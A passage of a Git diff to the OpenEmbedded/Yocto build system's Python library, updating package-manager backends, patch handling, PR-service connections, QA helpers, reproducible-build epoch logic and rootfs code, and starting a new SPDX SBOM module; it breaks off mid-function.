bb.note('Adding dpkg channel at (%s)' % uri)
- sources_file.write("deb %s/%s ./\n" %
+ sources_file.write("deb [trusted=yes] %s/%s ./\n" %
(uri, arch))
else:
bb.note('Adding dpkg channel at (%s)' % uri)
- sources_file.write("deb %s ./\n" % uri)
+ sources_file.write("deb [trusted=yes] %s ./\n" % uri)
def _create_configs(self, archs, base_archs):
base_archs = re.sub(r"_", r"-", base_archs)
@@ -406,14 +415,14 @@ class DpkgPM(OpkgDpkgPM):
with open(os.path.join(self.apt_conf_dir, "sources.list"), "w+") as sources_file:
for arch in arch_list:
- sources_file.write("deb file:%s/ ./\n" %
+ sources_file.write("deb [trusted=yes] file:%s/ ./\n" %
os.path.join(self.deploy_dir, arch))
base_arch_list = base_archs.split()
multilib_variants = self.d.getVar("MULTILIB_VARIANTS");
for variant in multilib_variants.split():
localdata = bb.data.createCopy(self.d)
- variant_tune = localdata.getVar("DEFAULTTUNE_virtclass-multilib-" + variant, False)
+ variant_tune = localdata.getVar("DEFAULTTUNE:virtclass-multilib-" + variant, False)
orig_arch = localdata.getVar("DPKG_ARCH")
localdata.setVar("DEFAULTTUNE", variant_tune)
variant_arch = localdata.getVar("DPKG_ARCH")
diff --git a/meta/lib/oe/package_manager/deb/sdk.py b/meta/lib/oe/package_manager/deb/sdk.py
index 9859d8f32d..f4b0b6510a 100644
--- a/meta/lib/oe/package_manager/deb/sdk.py
+++ b/meta/lib/oe/package_manager/deb/sdk.py
@@ -65,6 +65,8 @@ class PkgSdk(Sdk):
self.target_pm.install_complementary(self.d.getVar('SDKIMAGE_INSTALL_COMPLEMENTARY'))
+ self.target_pm.run_pre_post_installs()
+
self.target_pm.run_intercepts(populate_sdk='target')
execute_pre_post_process(self.d, self.d.getVar("POPULATE_SDK_POST_TARGET_COMMAND"))
@@ -78,6 +80,8 @@ class PkgSdk(Sdk):
self._populate_sysroot(self.host_pm, self.host_manifest)
self.install_locales(self.host_pm)
+ self.host_pm.run_pre_post_installs()
+
self.host_pm.run_intercepts(populate_sdk='host')
execute_pre_post_process(self.d, self.d.getVar("POPULATE_SDK_POST_HOST_COMMAND"))
diff --git a/meta/lib/oe/package_manager/ipk/__init__.py b/meta/lib/oe/package_manager/ipk/__init__.py
index 416ed23d47..4cd3963111 100644
--- a/meta/lib/oe/package_manager/ipk/__init__.py
+++ b/meta/lib/oe/package_manager/ipk/__init__.py
@@ -172,12 +172,7 @@ class OpkgPM(OpkgDpkgPM):
if prepare_index:
create_packages_dir(self.d, self.deploy_dir, d.getVar("DEPLOY_DIR_IPK"), "package_write_ipk", filterbydependencies)
- opkg_lib_dir = self.d.getVar('OPKGLIBDIR')
- if opkg_lib_dir[0] == "/":
- opkg_lib_dir = opkg_lib_dir[1:]
-
- self.opkg_dir = os.path.join(target_rootfs, opkg_lib_dir, "opkg")
-
+ self.opkg_dir = oe.path.join(target_rootfs, self.d.getVar('OPKGLIBDIR'), "opkg")
bb.utils.mkdirhier(self.opkg_dir)
self.saved_opkg_dir = self.d.expand('${T}/saved/%s' % self.task_name)
@@ -218,7 +213,7 @@ class OpkgPM(OpkgDpkgPM):
tmp_sf.write(status)
- os.rename(status_file + ".tmp", status_file)
+ bb.utils.rename(status_file + ".tmp", status_file)
def _create_custom_config(self):
bb.note("Building from feeds activated!")
@@ -408,9 +403,9 @@ class OpkgPM(OpkgDpkgPM):
bb.fatal(result)
def remove_packaging_data(self):
+ cachedir = oe.path.join(self.target_rootfs, self.d.getVar("localstatedir"), "cache", "opkg")
bb.utils.remove(self.opkg_dir, True)
- # create the directory back, it's needed by PM lock
- bb.utils.mkdirhier(self.opkg_dir)
+ bb.utils.remove(cachedir, True)
def remove_lists(self):
if not self.from_feeds:
diff --git a/meta/lib/oe/package_manager/ipk/sdk.py b/meta/lib/oe/package_manager/ipk/sdk.py
index 37af0344eb..e2ca415c8e 100644
--- a/meta/lib/oe/package_manager/ipk/sdk.py
+++ b/meta/lib/oe/package_manager/ipk/sdk.py
@@ -14,6 +14,12 @@ class PkgSdk(Sdk):
def __init__(self, d, manifest_dir=None):
super(PkgSdk, self).__init__(d, manifest_dir)
+ # In sdk_list_installed_packages the call to opkg is hardcoded to
+ # always use IPKGCONF_TARGET and there's no exposed API to change this
+ # so simply override IPKGCONF_TARGET to use this separated config file.
+ ipkgconf_sdk_target = d.getVar("IPKGCONF_SDK_TARGET")
+ d.setVar("IPKGCONF_TARGET", ipkgconf_sdk_target)
+
self.target_conf = self.d.getVar("IPKGCONF_TARGET")
self.host_conf = self.d.getVar("IPKGCONF_SDK")
diff --git a/meta/lib/oe/package_manager/rpm/__init__.py b/meta/lib/oe/package_manager/rpm/__init__.py
index 898184442f..b392581069 100644
--- a/meta/lib/oe/package_manager/rpm/__init__.py
+++ b/meta/lib/oe/package_manager/rpm/__init__.py
@@ -33,6 +33,9 @@ class RpmIndexer(Indexer):
class RpmSubdirIndexer(RpmIndexer):
def write_index(self):
bb.note("Generating package index for %s" %(self.deploy_dir))
+ # Remove the existing repodata to ensure that we re-generate it no matter what
+ bb.utils.remove(os.path.join(self.deploy_dir, "repodata"), recurse=True)
+
self.do_write_index(self.deploy_dir)
for entry in os.walk(self.deploy_dir):
if os.path.samefile(self.deploy_dir, entry[0]):
@@ -196,6 +199,9 @@ class RpmPM(PackageManager):
failed_scriptlets_pkgnames = collections.OrderedDict()
for line in output.splitlines():
+ if line.startswith("Error: Systemctl"):
+ bb.error(line)
+
if line.startswith("Error in POSTIN scriptlet in rpm package"):
failed_scriptlets_pkgnames[line.split()[-1]] = True
diff --git a/meta/lib/oe/packagedata.py b/meta/lib/oe/packagedata.py
index a82085a792..212f048bc6 100644
--- a/meta/lib/oe/packagedata.py
+++ b/meta/lib/oe/packagedata.py
@@ -19,7 +19,7 @@ def read_pkgdatafile(fn):
import re
with open(fn, 'r') as f:
lines = f.readlines()
- r = re.compile("([^:]+):\s*(.*)")
+ r = re.compile(r"(^.+?):\s+(.*)")
for l in lines:
m = r.match(l)
if m:
@@ -45,18 +45,30 @@ def read_pkgdata(pn, d):
return read_pkgdatafile(fn)
#
-# Collapse FOO_pkg variables into FOO
+# Collapse FOO:pkg variables into FOO
#
def read_subpkgdata_dict(pkg, d):
ret = {}
subd = read_pkgdatafile(get_subpkgedata_fn(pkg, d))
for var in subd:
- newvar = var.replace("_" + pkg, "")
- if newvar == var and var + "_" + pkg in subd:
+ newvar = var.replace(":" + pkg, "")
+ if newvar == var and var + ":" + pkg in subd:
continue
ret[newvar] = subd[var]
return ret
+def read_subpkgdata_extended(pkg, d):
+ import json
+ import bb.compress.zstd
+
+ fn = d.expand("${PKGDATA_DIR}/extended/%s.json.zstd" % pkg)
+ try:
+ num_threads = int(d.getVar("BB_NUMBER_THREADS"))
+ with bb.compress.zstd.open(fn, "rt", encoding="utf-8", num_threads=num_threads) as f:
+ return json.load(f)
+ except FileNotFoundError:
+ return None
+
def _pkgmap(d):
"""Return a dictionary mapping package to recipe name."""
diff --git a/meta/lib/oe/patch.py b/meta/lib/oe/patch.py
index 40755fbb03..950fe723dc 100644
--- a/meta/lib/oe/patch.py
+++ b/meta/lib/oe/patch.py
@@ -4,6 +4,7 @@
import oe.path
import oe.types
+import subprocess
class NotFoundError(bb.BBHandledException):
def __init__(self, path):
@@ -25,7 +26,6 @@ class CmdError(bb.BBHandledException):
def runcmd(args, dir = None):
import pipes
- import subprocess
if dir:
olddir = os.path.abspath(os.curdir)
@@ -38,20 +38,25 @@ def runcmd(args, dir = None):
args = [ pipes.quote(str(arg)) for arg in args ]
cmd = " ".join(args)
# print("cmd: %s" % cmd)
- (exitstatus, output) = subprocess.getstatusoutput(cmd)
+ proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
+ stdout, stderr = proc.communicate()
+ stdout = stdout.decode('utf-8')
+ stderr = stderr.decode('utf-8')
+ exitstatus = proc.returncode
if exitstatus != 0:
- raise CmdError(cmd, exitstatus >> 8, output)
- if " fuzz " in output and "Hunk " in output:
+ raise CmdError(cmd, exitstatus >> 8, "stdout: %s\nstderr: %s" % (stdout, stderr))
+ if " fuzz " in stdout and "Hunk " in stdout:
# Drop patch fuzz info with header and footer to log file so
# insane.bbclass can handle to throw error/warning
- bb.note("--- Patch fuzz start ---\n%s\n--- Patch fuzz end ---" % format(output))
+ bb.note("--- Patch fuzz start ---\n%s\n--- Patch fuzz end ---" % format(stdout))
- return output
+ return stdout
finally:
if dir:
os.chdir(olddir)
+
class PatchError(Exception):
def __init__(self, msg):
self.msg = msg
@@ -294,6 +299,19 @@ class GitApplyTree(PatchTree):
PatchTree.__init__(self, dir, d)
self.commituser = d.getVar('PATCH_GIT_USER_NAME')
self.commitemail = d.getVar('PATCH_GIT_USER_EMAIL')
+ if not self._isInitialized():
+ self._initRepo()
+
+ def _isInitialized(self):
+ cmd = "git rev-parse --show-toplevel"
+ (status, output) = subprocess.getstatusoutput(cmd.split())
+ ## Make sure repo is in builddir to not break top-level git repos
+ return status == 0 and os.path.samedir(output, self.dir)
+
+ def _initRepo(self):
+ runcmd("git init".split(), self.dir)
+ runcmd("git add .".split(), self.dir)
+ runcmd("git commit -a --allow-empty -m Patching_started".split(), self.dir)
@staticmethod
def extractPatchHeader(patchfile):
@@ -512,7 +530,7 @@ class GitApplyTree(PatchTree):
try:
shellcmd = [patchfilevar, "git", "--work-tree=%s" % reporoot]
self.gitCommandUserOptions(shellcmd, self.commituser, self.commitemail)
- shellcmd += ["am", "-3", "--keep-cr", "-p%s" % patch['strippath']]
+ shellcmd += ["am", "-3", "--keep-cr", "--no-scissors", "-p%s" % patch['strippath']]
return _applypatchhelper(shellcmd, patch, force, reverse, run)
except CmdError:
# Need to abort the git am, or we'll still be within it at the end
diff --git a/meta/lib/oe/path.py b/meta/lib/oe/path.py
index 082972457b..c8d8ad05b9 100644
--- a/meta/lib/oe/path.py
+++ b/meta/lib/oe/path.py
@@ -320,3 +320,24 @@ def which_wild(pathname, path=None, mode=os.F_OK, *, reverse=False, candidates=F
return files
+def canonicalize(paths, sep=','):
+ """Given a string with paths (separated by commas by default), expand
+ each path using os.path.realpath() and return the resulting paths as a
+ string (separated using the same separator a the original string).
+ """
+ # Ignore paths containing "$" as they are assumed to be unexpanded bitbake
+ # variables. Normally they would be ignored, e.g., when passing the paths
+ # through the shell they would expand to empty strings. However, when they
+ # are passed through os.path.realpath(), it will cause them to be prefixed
+ # with the absolute path to the current directory and thus not be empty
+ # anymore.
+ #
+ # Also maintain trailing slashes, as the paths may actually be used as
+ # prefixes in sting compares later on, where the slashes then are important.
+ canonical_paths = []
+ for path in (paths or '').split(sep):
+ if '$' not in path:
+ trailing_slash = path.endswith('/') and '/' or ''
+ canonical_paths.append(os.path.realpath(path) + trailing_slash)
+
+ return sep.join(canonical_paths)
diff --git a/meta/lib/oe/prservice.py b/meta/lib/oe/prservice.py
index fcdbe66c19..339f7aebca 100644
--- a/meta/lib/oe/prservice.py
+++ b/meta/lib/oe/prservice.py
@@ -7,11 +7,10 @@ def prserv_make_conn(d, check = False):
host_params = list([_f for _f in (d.getVar("PRSERV_HOST") or '').split(':') if _f])
try:
conn = None
- conn = prserv.serv.PRServerConnection(host_params[0], int(host_params[1]))
+ conn = prserv.serv.connect(host_params[0], int(host_params[1]))
if check:
if not conn.ping():
raise Exception('service not available')
- d.setVar("__PRSERV_CONN",conn)
except Exception as exc:
bb.fatal("Connecting to PR service %s:%s failed: %s" % (host_params[0], host_params[1], str(exc)))
@@ -22,31 +21,29 @@ def prserv_dump_db(d):
bb.error("Not using network based PR service")
return None
- conn = d.getVar("__PRSERV_CONN")
+ conn = prserv_make_conn(d)
if conn is None:
- conn = prserv_make_conn(d)
- if conn is None:
- bb.error("Making connection failed to remote PR service")
- return None
+ bb.error("Making connection failed to remote PR service")
+ return None
#dump db
opt_version = d.getVar('PRSERV_DUMPOPT_VERSION')
opt_pkgarch = d.getVar('PRSERV_DUMPOPT_PKGARCH')
opt_checksum = d.getVar('PRSERV_DUMPOPT_CHECKSUM')
opt_col = ("1" == d.getVar('PRSERV_DUMPOPT_COL'))
- return conn.export(opt_version, opt_pkgarch, opt_checksum, opt_col)
+ d = conn.export(opt_version, opt_pkgarch, opt_checksum, opt_col)
+ conn.close()
+ return d
def prserv_import_db(d, filter_version=None, filter_pkgarch=None, filter_checksum=None):
if not d.getVar('PRSERV_HOST'):
bb.error("Not using network based PR service")
return None
- conn = d.getVar("__PRSERV_CONN")
+ conn = prserv_make_conn(d)
if conn is None:
- conn = prserv_make_conn(d)
- if conn is None:
- bb.error("Making connection failed to remote PR service")
- return None
+ bb.error("Making connection failed to remote PR service")
+ return None
#get the entry values
imported = []
prefix = "PRAUTO$"
@@ -70,6 +67,7 @@ def prserv_import_db(d, filter_version=None, filter_pkgarch=None, filter_checksu
bb.error("importing(%s,%s,%s,%d) failed. DB may have larger value %d" % (version,pkgarch,checksum,value,ret))
else:
imported.append((version,pkgarch,checksum,value))
+ conn.close()
return imported
def prserv_export_tofile(d, metainfo, datainfo, lockdown, nomax=False):
@@ -125,4 +123,5 @@ def prserv_check_avail(d):
except TypeError:
bb.fatal('Undefined/incorrect PRSERV_HOST value. Format: "host:port"')
else:
- prserv_make_conn(d, True)
+ conn = prserv_make_conn(d, True)
+ conn.close()
diff --git a/meta/lib/oe/qa.py b/meta/lib/oe/qa.py
index ea831b930a..efab7e8564 100644
--- a/meta/lib/oe/qa.py
+++ b/meta/lib/oe/qa.py
@@ -156,6 +156,7 @@ def elf_machine_to_string(machine):
"""
try:
return {
+ 0x00: "Unset",
0x02: "SPARC",
0x03: "x86",
0x08: "MIPS",
@@ -170,6 +171,40 @@ def elf_machine_to_string(machine):
except:
return "Unknown (%s)" % repr(machine)
+def write_error(type, error, d):
+ logfile = d.getVar('QA_LOGFILE')
+ if logfile:
+ p = d.getVar('P')
+ with open(logfile, "a+") as f:
+ f.write("%s: %s [%s]\n" % (p, error, type))
+
+def handle_error(error_class, error_msg, d):
+ if error_class in (d.getVar("ERROR_QA") or "").split():
+ write_error(error_class, error_msg, d)
+ bb.error("QA Issue: %s [%s]" % (error_msg, error_class))
+ d.setVar("QA_ERRORS_FOUND", "True")
+ return False
+ elif error_class in (d.getVar("WARN_QA") or "").split():
+ write_error(error_class, error_msg, d)
+ bb.warn("QA Issue: %s [%s]" % (error_msg, error_class))
+ else:
+ bb.note("QA Issue: %s [%s]" % (error_msg, error_class))
+ return True
+
+def add_message(messages, section, new_msg):
+ if section not in messages:
+ messages[section] = new_msg
+ else:
+ messages[section] = messages[section] + "\n" + new_msg
+
+def exit_with_message_if_errors(message, d):
+ qa_fatal_errors = bb.utils.to_boolean(d.getVar("QA_ERRORS_FOUND"), False)
+ if qa_fatal_errors:
+ bb.fatal(message)
+
+def exit_if_errors(d):
+ exit_with_message_if_errors("Fatal QA errors were found, failing task.", d)
+
if __name__ == "__main__":
import sys
diff --git a/meta/lib/oe/recipeutils.py b/meta/lib/oe/recipeutils.py
index ef69ef207f..a0c6974f04 100644
--- a/meta/lib/oe/recipeutils.py
+++ b/meta/lib/oe/recipeutils.py
@@ -47,7 +47,7 @@ def simplify_history(history, d):
continue
has_set = True
elif event['op'] in ('append', 'prepend', 'postdot', 'predot'):
- # Reminder: "append" and "prepend" mean += and =+ respectively, NOT _append / _prepend
+ # Reminder: "append" and "prepend" mean += and =+ respectively, NOT :append / :prepend
if has_set:
continue
ret_history.insert(0, event)
@@ -342,7 +342,7 @@ def patch_recipe(d, fn, varvalues, patch=False, relpath='', redirect_output=None
def override_applicable(hevent):
op = hevent['op']
if '[' in op:
- opoverrides = op.split('[')[1].split(']')[0].split('_')
+ opoverrides = op.split('[')[1].split(']')[0].split(':')
for opoverride in opoverrides:
if not opoverride in overrides:
return False
@@ -368,13 +368,13 @@ def patch_recipe(d, fn, varvalues, patch=False, relpath='', redirect_output=None
recipe_set = True
if not recipe_set:
for event in history:
- if event['op'].startswith('_remove'):
+ if event['op'].startswith(':remove'):
continue
if not override_applicable(event):
continue
newvalue = value.replace(event['detail'], '')
- if newvalue == value and os.path.abspath(event['file']) == fn and event['op'].startswith('_'):
- op = event['op'].replace('[', '_').replace(']', '')
+ if newvalue == value and os.path.abspath(event['file']) == fn and event['op'].startswith(':'):
+ op = event['op'].replace('[', ':').replace(']', '')
extravals[var + op] = None
value = newvalue
vals[var] = ('+=', value)
@@ -409,12 +409,12 @@ def copy_recipe_files(d, tgt_dir, whole_dir=False, download=True, all_variants=F
fetch.download()
for pth in fetch.localpaths():
if pth not in localpaths:
- localpaths.append(pth)
+ localpaths.append(os.path.abspath(pth))
uri_values.append(srcuri)
fetch_urls(d)
if all_variants:
- # Get files for other variants e.g. in the case of a SRC_URI_append
+ # Get files for other variants e.g. in the case of a SRC_URI:append
localdata = bb.data.createCopy(d)
variants = (localdata.getVar('BBCLASSEXTEND') or '').split()
if variants:
@@ -753,12 +753,12 @@ def bbappend_recipe(rd, destlayerdir, srcfiles, install=None, wildcardver=False,
destsubdir = rd.getVar('PN')
if srcfiles:
- bbappendlines.append(('FILESEXTRAPATHS_prepend', ':=', '${THISDIR}/${PN}:'))
+ bbappendlines.append(('FILESEXTRAPATHS:prepend', ':=', '${THISDIR}/${PN}:'))
appendoverride = ''
if machine:
bbappendlines.append(('PACKAGE_ARCH', '=', '${MACHINE_ARCH}'))
- appendoverride = '_%s' % machine
+ appendoverride = ':%s' % machine
copyfiles = {}
if srcfiles:
instfunclines = []
@@ -772,7 +772,7 @@ def bbappend_recipe(rd, destlayerdir, srcfiles, install=None, wildcardver=False,
# FIXME do we care if the entry is added by another bbappend that might go away?
if not srcurientry in rd.getVar('SRC_URI').split():
if machine:
- appendline('SRC_URI_append%s' % appendoverride, '=', ' ' + srcurientry)
+ appendline('SRC_URI:append%s' % appendoverride, '=', ' ' + srcurientry)
else:
appendline('SRC_URI', '+=', srcurientry)
copyfiles[newfile] = srcfile
@@ -786,7 +786,7 @@ def bbappend_recipe(rd, destlayerdir, srcfiles, install=None, wildcardver=False,
instfunclines.append(instdirline)
instfunclines.append('install -m %s ${WORKDIR}/%s ${D}%s' % (perms, os.path.basename(srcfile), instdestpath))
if instfunclines:
- bbappendlines.append(('do_install_append%s()' % appendoverride, '', instfunclines))
+ bbappendlines.append(('do_install:append%s()' % appendoverride, '', instfunclines))
if redirect_output:
bb.note('Writing append file %s (dry-run)' % appendpath)
@@ -804,15 +804,15 @@ def bbappend_recipe(rd, destlayerdir, srcfiles, install=None, wildcardver=False,
extvars = {'destsubdir': destsubdir}
def appendfile_varfunc(varname, origvalue, op, newlines):
- if varname == 'FILESEXTRAPATHS_prepend':
+ if varname == 'FILESEXTRAPATHS:prepend':
if origvalue.startswith('${THISDIR}/'):
- popline('FILESEXTRAPATHS_prepend')
+ popline('FILESEXTRAPATHS:prepend')
extvars['destsubdir'] = rd.expand(origvalue.split('${THISDIR}/', 1)[1].rstrip(':'))
elif varname == 'PACKAGE_ARCH':
if machine:
popline('PACKAGE_ARCH')
return (machine, None, 4, False)
- elif varname.startswith('do_install_append'):
+ elif varname.startswith('do_install:append'):
func = popline(varname)
if func:
instfunclines = [line.strip() for line in origvalue.strip('\n').splitlines()]
@@ -824,7 +824,7 @@ def bbappend_recipe(rd, destlayerdir, srcfiles, install=None, wildcardver=False,
splitval = split_var_value(origvalue, assignment=False)
changed = False
removevar = varname
- if varname in ['SRC_URI', 'SRC_URI_append%s' % appendoverride]:
+ if varname in ['SRC_URI', 'SRC_URI:append%s' % appendoverride]:
removevar = 'SRC_URI'
line = popline(varname)
if line:
@@ -853,11 +853,11 @@ def bbappend_recipe(rd, destlayerdir, srcfiles, install=None, wildcardver=False,
newvalue = splitval
if len(newvalue) == 1:
# Ensure it's written out as one line
- if '_append' in varname:
+ if ':append' in varname:
newvalue = ' ' + newvalue[0]
else:
newvalue = newvalue[0]
- if not newvalue and (op in ['+=', '.='] or '_append' in varname):
+ if not newvalue and (op in ['+=', '.='] or ':append' in varname):
# There's no point appending nothing
newvalue = None
if varname.endswith('()'):
diff --git a/meta/lib/oe/reproducible.py b/meta/lib/oe/reproducible.py
index 421bb12f54..4fb99d963c 100644
--- a/meta/lib/oe/reproducible.py
+++ b/meta/lib/oe/reproducible.py
@@ -5,6 +5,57 @@ import os
import subprocess
import bb
+# For reproducible builds, this code sets the default SOURCE_DATE_EPOCH in each
+# component's build environment. The format is number of seconds since the
+# system epoch.
+#
+# Upstream components (generally) respect this environment variable,
+# using it in place of the "current" date and time.
+# See https://reproducible-builds.org/specs/source-date-epoch/
+#
+# The default value of SOURCE_DATE_EPOCH comes from the function
+# get_source_date_epoch_value which reads from the SDE_FILE, or if the file
+# is not available will use the fallback of SOURCE_DATE_EPOCH_FALLBACK.
+#
+# The SDE_FILE is normally constructed from the function
+# create_source_date_epoch_stamp which is typically added as a postfuncs to
+# the do_unpack task. If a recipe does NOT have do_unpack, it should be added
+# to a task that runs after the source is available and before the
+# do_deploy_source_date_epoch task is executed.
+#
+# If a recipe wishes to override the default behavior it should set it's own
+# SOURCE_DATE_EPOCH or override the do_deploy_source_date_epoch_stamp task
+# with recipe-specific functionality to write the appropriate
+# SOURCE_DATE_EPOCH into the SDE_FILE.
+#
+# SOURCE_DATE_EPOCH is intended to be a reproducible value. This value should
+# be reproducible for anyone who builds the same revision from the same
+# sources.
+#
+# There are 4 ways the create_source_date_epoch_stamp function determines what
+# becomes SOURCE_DATE_EPOCH:
+#
+# 1. Use the value from __source_date_epoch.txt file if this file exists.
+# This file was most likely created in the previous build by one of the
+# following methods 2,3,4.
+# Alternatively, it can be provided by a recipe via SRC_URI.
+#
+# If the file does not exist:
+#
+# 2. If there is a git checkout, use the last git commit timestamp.
+# Git does not preserve file timestamps on checkout.
+#
+# 3. Use the mtime of "known" files such as NEWS, CHANGLELOG, ...
+# This works for well-kept repositories distributed via tarball.
+#
+# 4. Use the modification time of the youngest file in the source tree, if
+# there is one.
+# This will be the newest file from the distribution tarball, if any.
+#
+# 5. Fall back to a fixed timestamp (SOURCE_DATE_EPOCH_FALLBACK).
+#
+# Once the value is determined, it is stored in the recipe's SDE_FILE.
+
def get_source_date_epoch_from_known_files(d, sourcedir):
source_date_epoch = None
newest_file = None
@@ -47,7 +98,7 @@ def find_git_folder(d, sourcedir):
return None
def get_source_date_epoch_from_git(d, sourcedir):
- if not "git://" in d.getVar('SRC_URI'):
+ if not "git://" in d.getVar('SRC_URI') and not "gitsm://" in d.getVar('SRC_URI'):
return None
gitpath = find_git_folder(d, sourcedir)
@@ -90,8 +141,12 @@ def get_source_date_epoch_from_youngest_file(d, sourcedir):
bb.debug(1, "Newest file found: %s" % newest_file)
return source_date_epoch
-def fixed_source_date_epoch():
+def fixed_source_date_epoch(d):
bb.debug(1, "No tarball or git repo found to determine SOURCE_DATE_EPOCH")
+ source_date_epoch = d.getVar('SOURCE_DATE_EPOCH_FALLBACK')
+ if source_date_epoch:
+ bb.debug(1, "Using SOURCE_DATE_EPOCH_FALLBACK")
+ return int(source_date_epoch)
return 0
def get_source_date_epoch(d, sourcedir):
@@ -99,6 +154,39 @@ def get_source_date_epoch(d, sourcedir):
get_source_date_epoch_from_git(d, sourcedir) or
get_source_date_epoch_from_known_files(d, sourcedir) or
get_source_date_epoch_from_youngest_file(d, sourcedir) or
- fixed_source_date_epoch() # Last resort
+ fixed_source_date_epoch(d) # Last resort
)
+def epochfile_read(epochfile, d):
+ cached, efile = d.getVar('__CACHED_SOURCE_DATE_EPOCH') or (None, None)
+ if cached and efile == epochfile:
+ return cached
+
+ if cached and epochfile != efile:
+ bb.debug(1, "Epoch file changed from %s to %s" % (efile, epochfile))
+
+ source_date_epoch = int(d.getVar('SOURCE_DATE_EPOCH_FALLBACK'))
+ try:
+ with open(epochfile, 'r') as f:
+ s = f.read()
+ try:
+ source_date_epoch = int(s)
+ except ValueError:
+ bb.warn("SOURCE_DATE_EPOCH value '%s' is invalid. Reverting to SOURCE_DATE_EPOCH_FALLBACK" % s)
+ source_date_epoch = int(d.getVar('SOURCE_DATE_EPOCH_FALLBACK'))
+ bb.debug(1, "SOURCE_DATE_EPOCH: %d" % source_date_epoch)
+ except FileNotFoundError:
+ bb.debug(1, "Cannot find %s. SOURCE_DATE_EPOCH will default to %d" % (epochfile, source_date_epoch))
+
+ d.setVar('__CACHED_SOURCE_DATE_EPOCH', (str(source_date_epoch), epochfile))
+ return str(source_date_epoch)
+
+def epochfile_write(source_date_epoch, epochfile, d):
+
+ bb.debug(1, "SOURCE_DATE_EPOCH: %d" % source_date_epoch)
+ bb.utils.mkdirhier(os.path.dirname(epochfile))
+
+ tmp_file = "%s.new" % epochfile
+ with open(tmp_file, 'w') as f:
+ f.write(str(source_date_epoch))
+ os.rename(tmp_file, epochfile)
diff --git a/meta/lib/oe/rootfs.py b/meta/lib/oe/rootfs.py
index 4b747dd0f4..b0dd625539 100644
--- a/meta/lib/oe/rootfs.py
+++ b/meta/lib/oe/rootfs.py
@@ -114,7 +114,7 @@ class Rootfs(object, metaclass=ABCMeta):
shutil.rmtree(self.image_rootfs + '-orig')
except:
pass
- os.rename(self.image_rootfs, self.image_rootfs + '-orig')
+ bb.utils.rename(self.image_rootfs, self.image_rootfs + '-orig')
bb.note(" Creating debug rootfs...")
bb.utils.mkdirhier(self.image_rootfs)
@@ -165,10 +165,10 @@ class Rootfs(object, metaclass=ABCMeta):
shutil.rmtree(self.image_rootfs + '-dbg')
except:
pass
- os.rename(self.image_rootfs, self.image_rootfs + '-dbg')
+ bb.utils.rename(self.image_rootfs, self.image_rootfs + '-dbg')
- bb.note(" Restoreing original rootfs...")
- os.rename(self.image_rootfs + '-orig', self.image_rootfs)
+ bb.note(" Restoring original rootfs...")
+ bb.utils.rename(self.image_rootfs + '-orig', self.image_rootfs)
def _exec_shell_cmd(self, cmd):
fakerootcmd = self.d.getVar('FAKEROOT')
@@ -217,6 +217,9 @@ class Rootfs(object, metaclass=ABCMeta):
self.progress_reporter.next_stage()
if bb.utils.contains("IMAGE_FEATURES", "read-only-rootfs",
+ True, False, self.d) and \
+ not bb.utils.contains("IMAGE_FEATURES",
+ "read-only-rootfs-delayed-postinsts",
True, False, self.d):
delayed_postinsts = self._get_delayed_postinsts()
if delayed_postinsts is not None:
@@ -247,13 +250,11 @@ class Rootfs(object, metaclass=ABCMeta):
def _uninstall_unneeded(self):
- # Remove unneeded init script symlinks
+ # Remove the run-postinsts package if no delayed postinsts are found
delayed_postinsts = self._get_delayed_postinsts()
if delayed_postinsts is None:
- if os.path.exists(self.d.expand("${IMAGE_ROOTFS}${sysconfdir}/init.d/run-postinsts")):
- self._exec_shell_cmd(["update-rc.d", "-f", "-r",
- self.d.getVar('IMAGE_ROOTFS'),
- "run-postinsts", "remove"])
+ if os.path.exists(self.d.expand("${IMAGE_ROOTFS}${sysconfdir}/init.d/run-postinsts")) or os.path.exists(self.d.expand("${IMAGE_ROOTFS}${systemd_system_unitdir}/run-postinsts.service")):
+ self.pm.remove(["run-postinsts"])
image_rorfs = bb.utils.contains("IMAGE_FEATURES", "read-only-rootfs",
True, False, self.d)
@@ -301,10 +302,20 @@ class Rootfs(object, metaclass=ABCMeta):
self._exec_shell_cmd(['ldconfig', '-r', self.image_rootfs, '-c',
'new', '-v', '-X'])
+ image_rorfs = bb.utils.contains("IMAGE_FEATURES", "read-only-rootfs",
+ True, False, self.d)
+ ldconfig_in_features = bb.utils.contains("DISTRO_FEATURES", "ldconfig",
+ True, False, self.d)
+ if image_rorfs or not ldconfig_in_features:
+ ldconfig_cache_dir = os.path.join(self.image_rootfs, "var/cache/ldconfig")
+ if os.path.exists(ldconfig_cache_dir):
+ bb.note("Removing ldconfig auxiliary cache...")
+ shutil.rmtree(ldconfig_cache_dir)
+
def _check_for_kernel_modules(self, modules_dir):
for root, dirs, files in os.walk(modules_dir, topdown=True):
for name in files:
- found_ko = name.endswith(".ko")
+ found_ko = name.endswith((".ko", ".ko.gz", ".ko.xz"))
if found_ko:
return found_ko
return False
diff --git a/meta/lib/oe/sbom.py b/meta/lib/oe/sbom.py
new file mode 100644
index 0000000000..848812c0b7
--- /dev/null
+++ b/meta/lib/oe/sbom.py
@@ -0,0 +1,74 @@
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import collections
+
+DepRecipe = collections.namedtuple("DepRecipe", ("doc", "doc_sha1", "recipe"))
+DepSource = collections.namedtuple("DepSource", ("doc", "doc_sha1", "recipe", "file"))
+
+
+def get_recipe_spdxid(d):
+ return "SPDXRef-%s-%s" % ("Recipe", d.getVar("PN"))
+
+
+def get_package_spdxid(pkg):
+ return "SPDXRef-Package-%s" % pkg
+
+
+def get_source_file_spdxid(d, idx):
+ return "SPDXRef-SourceFile-%s-%d" % (d.getVar("PN"), idx)
+
+
+def get_packaged_file_spdxid(pkg, idx):
+ return "SPDXRef-PackagedFile-%s-%d" % (pkg, idx)
+
+
+def get_image_spdxid(img):
+ return "SPDXRef-Image-%s" % img
+
+
+def write_doc(d, spdx_doc, subdir, spdx_deploy=None):
+ from pathlib import Path
+
+ if spdx_deploy is None:
+ spdx_deploy = Path(d.getVar("SPDXDEPLOY"))
+
+ dest = spdx_deploy / subdir / (spdx_doc.name + ".spdx.json")
+ dest.parent.mkdir(exist_ok=True, parents=True)
+ with dest.open("wb") as f:
+ doc_sha1 = spdx_doc.to_json(f, sort_keys=True)
+
+ l = spdx_deploy / "by-namespace" / spdx_doc.documentNamespace.replace("/", "_")
+ l.parent.mkdir(exist_ok=True, parents=True)
+ l.symlink_to(os.path.relpath(dest, l.parent))
+
+ return doc_sha1
+
+
+def read_doc(fn):
+ import hashlib
+ import oe.spdx
+ import io
+ import contextlib
+
+ @contextlib.contextmanager
+ def get_file():
